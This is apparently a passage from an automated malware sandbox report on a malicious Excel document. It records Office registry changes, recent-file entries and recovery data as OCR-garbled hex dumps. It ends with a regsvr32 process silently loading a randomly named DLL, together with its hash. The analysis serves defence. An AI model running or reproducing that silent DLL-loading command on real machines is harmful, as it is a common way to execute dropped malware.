00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

Completion

success or wait

Source

Count Address Symbol

1

7FEEAC59ACO unknown

Page 31 of 36



Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDC3C binary 04 00 00 00 50 09 00 00 39 00 00 00 43  success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EDC3C 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 36 00 2E 00 34 00 39 00 2E 00
30 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
220000 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 CF 77 83 CF 54 C6 D6 01 3C DC
OE 00 3C DC OE 00 00 00 00 00 B8 02
00 00 OA 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8878498721 .xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3771420242.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2020

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EDEQOO

Copyright null 2020

Name

EDEOO

Type

binary

Data

04 00 00 00 50 09 00 00 30 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 59 29 D9
CF 54 C6 D6 01 00 DE OE 00 00 DE OE
00 00 00 00 00 B8 02 00 00 66 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Completion

success or wait

Source

Count Address Symbol

1

7FEEAC59ACO unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDE7D binary 04 00 00 00 50 09 00 00 2E 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EDE7D 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 64 00 6F 00 63 00 75
00 6D 00 65 00 6E 00 74 00 2D 00 31 00
34 00 32 00 3500 33 00 39 00 31 00 36
00 31 00 33 00 2E 00 78 00 6C 00 73 00
00 00 00 00 17 00 00 00 43 00 3A 00 5C
00 55 00 73 00 65 00 72 00 73 00 5C 00
41 00 6C 00 62 00 75 00 73 00 5C 00 44
00 65 00 73 00 6B 00 74 00 6F 00 70 00
5C 00 01 00 00 00 01 00 00 00 5B 34 EC
CF 54 C6 D6 01 7D DE OE 00 7D DE OE
00 00 00 00 00 B8 02 00 00 6E 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00
HKEY_CURRENT_USER\Software\Mic 4;8 binary 34 3B 38 00 50 09 00 00 02 00 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 64 00 00 00 01 00 00 00 30 00

00 00 28 00 00 00 64 00 6F 00 63 00 75

00 6D 00 65 00 6E 00 74 00 2D 00 31 00
34 00 32 00 35 00 33 00 39 00 31 00 36

00 31 00 33 00 2E 00 78 00 6C 00 73 00
00 00 64 00 6F 00 63 00 75 00 6D 00 65
00 6E 00 74 00 2D 00 31 00 34 00 32 00
3500 33 00 39 0031 00 36 00 31 00 33

00 00 00

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
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Analysis Process: regsvr32.exe PID: 2328 Parent PID: 2384

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright null 2020

05:37:45

29/11/2020
C:\Windows\System32\regsvr32.exe
false

regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll
0xffa50000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708
true

true

C, C++ or other language

high
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